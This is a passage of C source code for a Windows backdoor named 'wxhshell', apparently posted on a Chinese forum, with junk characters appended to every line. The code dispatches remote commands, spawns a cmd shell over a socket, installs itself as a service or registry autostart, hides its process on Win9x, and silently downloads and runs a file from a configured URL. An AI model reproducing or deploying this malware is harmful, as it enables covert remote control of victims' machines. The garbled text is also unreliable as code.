    switch(cmd[0]) { b)1v:X4Bv=  
  F\G-. 1  
  // 帮助 AZgeu$:7p<  
  case '?': { +t hkx$o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f+K vym.  
    break; jqeR{yo&0b  
  } !i{9wI  
  // 安装 Zl4X,9Wt  
  case 'i': { |0Y: /uL#)  
    if(Install()) VsJ4sb7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pd Fa]  
    else k(bDj[0q^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >&g^ `  
    break; 0!fT:Ra  
    } 1;8%\r[|5^  
  // 卸载 B2/d%B  
  case 'r': { l}jC$B`5  
    if(Uninstall()) yJRqX]MLA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6#SUfK;  
    else E@(nKe&6T_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q<Sb>M/\,  
    break; NZW)$c'  
    } .%x%b6EI  
  // 显示 wxhshell 所在路径 :Ou[LF.O  
  case 'p': { b:6NVHb%  
    char svExeFile[MAX_PATH]; N3rq8Rk  
    strcpy(svExeFile,"\n\r"); T>cO{I  
      strcat(svExeFile,ExeFile); Am @o}EC  
        send(wsh,svExeFile,strlen(svExeFile),0); Xvr7qowL  
    break; 4v?}K   
    } `k]2*$%  
  // 重启 cKM#0dq  
  case 'b': { )d$FFTH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &h<\jqN/  
    if(Boot(REBOOT)) F).7%YfY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BGOajYD  
    else { uGW!~qAr*  
    closesocket(wsh); *&nIxb60b{  
    ExitThread(0); BJNZH#"  
    } J\%SAit@  
    break; ;rqW?':(i  
    } 9m+ejTK{U  
  // 关机 km,I75o.  
  case 'd': { !-cK@>.pE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GVK c4HGt  
    if(Boot(SHUTDOWN))  n)t'?7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uK;&L?WB  
    else { -2/&i  
    closesocket(wsh); ]H$Trf:L  
    ExitThread(0); V7}]39m(s  
    } =73aME}  
    break; h; "pAE  
    } Hq;*T3E  
  // 获取shell UrRYK-g  
  case 's': { h7a/]~  
    CmdShell(wsh); \~BYY|UB;W  
    closesocket(wsh); r >;(\_@  
    ExitThread(0); XEe$Wh  
    break; gCL?{oVU  
  } S\dG>F>S  
  // 退出 ya'Ma<4  
  case 'x': { B"Hz)-MW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]]^r)&pox  
    CloseIt(wsh); R}E$SmFg  
    break; &y&pjo6v1  
    } h2P&<ggqX  
  // 离开 Bag_0.H&m  
  case 'q': { Is[n7Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {TVQ]G%'b  
    closesocket(wsh); 8mM`v  
    WSACleanup(); &WJ;s*  
    exit(1); "~:P-]`G  
    break; uGU-MC *  
        } > Hwf/Gf[  
  } Z/e^G f#i  
  } nJ2910"<  
cES8%UC^i  
  // 提示信息 EL^j}P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ov~vK\  
} "UUoT  
  } &ev#C%Nu  
CsX@u#  
  return; @ QfbIP9  
} l[Ko>  
%{B4M#~  
// shell模块句柄 o\N^Uu  
int CmdShell(SOCKET sock) J;S Z"I'  
{ 9ePR6WS4  
STARTUPINFO si; r*kz`cJ  
ZeroMemory(&si,sizeof(si)); ^ ~kfo|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9|l6.$Me/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d04fj/B  
PROCESS_INFORMATION ProcessInfo; IO{iQ-Mg  
char cmdline[]="cmd"; v`\CzT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mt*eC)~ Yx  
  return 0; CuFlI?~8 z  
} _ 5/3RN  
,Yu2K`  
// 自身启动模式 (gEz<}Av.  
int StartFromService(void)  ,8)aK y  
{ lFV\Go  
typedef struct 7? ]wAH89  
{ 1B`JvNtd  
  DWORD ExitStatus; ^%t{:\  
  DWORD PebBaseAddress; p?' F$Wz  
  DWORD AffinityMask; Exz(t'  
  DWORD BasePriority; q rF:=?`E  
  ULONG UniqueProcessId; xgJyG.?  
  ULONG InheritedFromUniqueProcessId; p?#xd!tc2N  
}   PROCESS_BASIC_INFORMATION; /xb37,   
Eyh(257  
PROCNTQSIP NtQueryInformationProcess; I|tn7|*-A[  
S #C;"se  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 50^CILKo7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3^`.bm4 ^  
p]Q(Z  
  HANDLE             hProcess; rU_FRk  
  PROCESS_BASIC_INFORMATION pbi; RPZ -  
yHs'E4V`$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GiKmB-HO  
  if(NULL == hInst ) return 0; l:(?|1_  
v M $Tn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2>vn'sXdj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B&sa|'0U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -ze@~Z@  
NC%)SG \  
  if (!NtQueryInformationProcess) return 0; OyATb{`'  
fl71{jJ_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rW[7 _4  
  if(!hProcess) return 0; )AXa.y  
{W%/?d9m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BFPy~5W  
Wl{wY,u  
  CloseHandle(hProcess); S~\u]j^%y  
QuBaG<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zvKypx  
if(hProcess==NULL) return 0; z<u@::  
v;:. k,E0  
HMODULE hMod; tRXR/;3O  
char procName[255]; *?!A  
unsigned long cbNeeded; 6D29s]h2  
puK /;nns  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ql9 )  
#IxCI)!I{[  
  CloseHandle(hProcess); $`txU5#vs  
#4{9l SbU  
if(strstr(procName,"services")) return 1; // 以服务启动 +.|8W!h`1  
2rqYm6  
  return 0; // 注册表启动 84y#L[  
} 2KQpmNN  
u<nPJeE  
// 主模块 p 4Y 2AQ9  
int StartWxhshell(LPSTR lpCmdLine) q&V=A[<rz  
{ 2@f?yh0  
  SOCKET wsl; $jN,] N~  
BOOL val=TRUE; F17nWvF  
  int port=0; 0[!38  
  struct sockaddr_in door; ZZU"Q7`^  
' 4 Kf  
  if(wscfg.ws_autoins) Install(); gro@+^DmT  
$-lP"m@}  
port=atoi(lpCmdLine); /@9-D 4  
+"D*0gYD  
if(port<=0) port=wscfg.ws_port; sRSy++FRF  
*_tJ;  
  WSADATA data; Z$ 6yB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H:`[$ ^  
h7[PU^m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nX-%qc"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &+7G|4!y  
  door.sin_family = AF_INET; J@Qw6J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); psAdYEGk!  
  door.sin_port = htons(port); :a y-2  
qb$f,E[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j~`rc2n%  
closesocket(wsl); =@go;,"  
return 1; aDE)Nf}  
} ntEf-x<  
UU 2 =W  
  if(listen(wsl,2) == INVALID_SOCKET) { 5E}~iC&  
closesocket(wsl); a*nx2d  
return 1; (ZHEPN  
} ?o.Q  
  Wxhshell(wsl); &#qy:  
  WSACleanup(); ~U_,z)<`)c  
\!,qXfTMB  
return 0; |k=L&vs  
@Xq3>KJ_)H  
} L\y>WR%s  
2?nhkast#=  
// 以NT服务方式启动 ;c;PNihg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yXL]uh#b  
{ PH3#\ v.   
DWORD   status = 0; 9|RR;k[  
  DWORD   specificError = 0xfffffff; $.-\2;U  
1U< g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M}BqSzd*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \hFIg3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >$p|W~x  
  serviceStatus.dwWin32ExitCode     = 0; cQldBc  
  serviceStatus.dwServiceSpecificExitCode = 0; l]v>PIh~N  
  serviceStatus.dwCheckPoint       = 0; BjIKs~CT  
  serviceStatus.dwWaitHint       = 0; KsBi<wY  
RE}$(T=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ({#M*=&"  
  if (hServiceStatusHandle==0) return; f S(IN~  
(lR9x6yf  
status = GetLastError(); <X1^w  
  if (status!=NO_ERROR) "=9kX`(1y  
{ tN:PWj5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FZ^j|2.L*  
    serviceStatus.dwCheckPoint       = 0; V+2C!)f(  
    serviceStatus.dwWaitHint       = 0; 9`p|>d!.  
    serviceStatus.dwWin32ExitCode     = status; dS m; e_s  
    serviceStatus.dwServiceSpecificExitCode = specificError; ULIpb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ESt@%7.F  
    return; V_Oj?MMp n  
  } %wuD4PRK  
+nT(>RJR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; { |[n>k   
  serviceStatus.dwCheckPoint       = 0; XUp'wP  
  serviceStatus.dwWaitHint       = 0; zVU{jmS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BNe6q[ )W~  
} {*J{1)2  
D!d1%hac  
// 处理NT服务事件,比如:启动、停止 mIX[HDy:V$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Xv'5%o^i*  
{ 8e3I@mv  
switch(fdwControl) -r!sY+Z>  
{ 8Cw+<A*  
case SERVICE_CONTROL_STOP: U%nLo[k  
  serviceStatus.dwWin32ExitCode = 0; }{.0mu9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a2'f#[as  
  serviceStatus.dwCheckPoint   = 0; b qNM  
  serviceStatus.dwWaitHint     = 0; Dw6mSsC/  
  { _wKaFf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oe{K0.`  
  } nVt,= ?_ U  
  return; cq,0?2R`t  
case SERVICE_CONTROL_PAUSE: c$ skLz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w`$M}oX(  
  break; 1$#{om9  
case SERVICE_CONTROL_CONTINUE: fyE#8h_>4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s35`{PR  
  break; ^<VJ8jk<  
case SERVICE_CONTROL_INTERROGATE: [|!A3o  
  break; K7CrRT3>6  
}; IDIok~B=e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M'D l_dx-  
} "bC1dl<  
k6?;D_dm  
// 标准应用程序主函数 [R~`6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nPU=n[t8O  
{ J*} warf&  
]F4 .m  
// 获取操作系统版本 L d;))e  
OsIsNt=GetOsVer(); qXw^y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ob#d;F  
TppuEC>  
  // 从命令行安装 fT.GYvt`  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]'iOV-2^'  
q&RezHK l  
  // 下载执行文件 h vO  
if(wscfg.ws_downexe) { rV0X*[]J>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t/57LjV  
  WinExec(wscfg.ws_filenam,SW_HIDE); }pMd/|A,  
} 9cwy;au  
Z=&cBv4Fs  
if(!OsIsNt) { ?8GggJC  
// 如果时win9x,隐藏进程并且设置为注册表启动 p&nPzZQL(  
HideProc(); ;"K;D@xzh]  
StartWxhshell(lpCmdLine); %7y8a`}  
} /5$;W 'I  
else /)<x<7FKW  
  if(StartFromService()) ym =7EY?o  
  // 以服务方式启动 Y%1 94fY$  
  StartServiceCtrlDispatcher(DispatchTable); -0>gq$/N=^  
else KW1b #g%Z  
  // 普通方式启动 }@XokRk  
  StartWxhshell(lpCmdLine); JE<w7:R&  
Sbp].3^j  
return 0; W:gpcR]>  
}
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只看该作者 1 发表于: 2006-10-10
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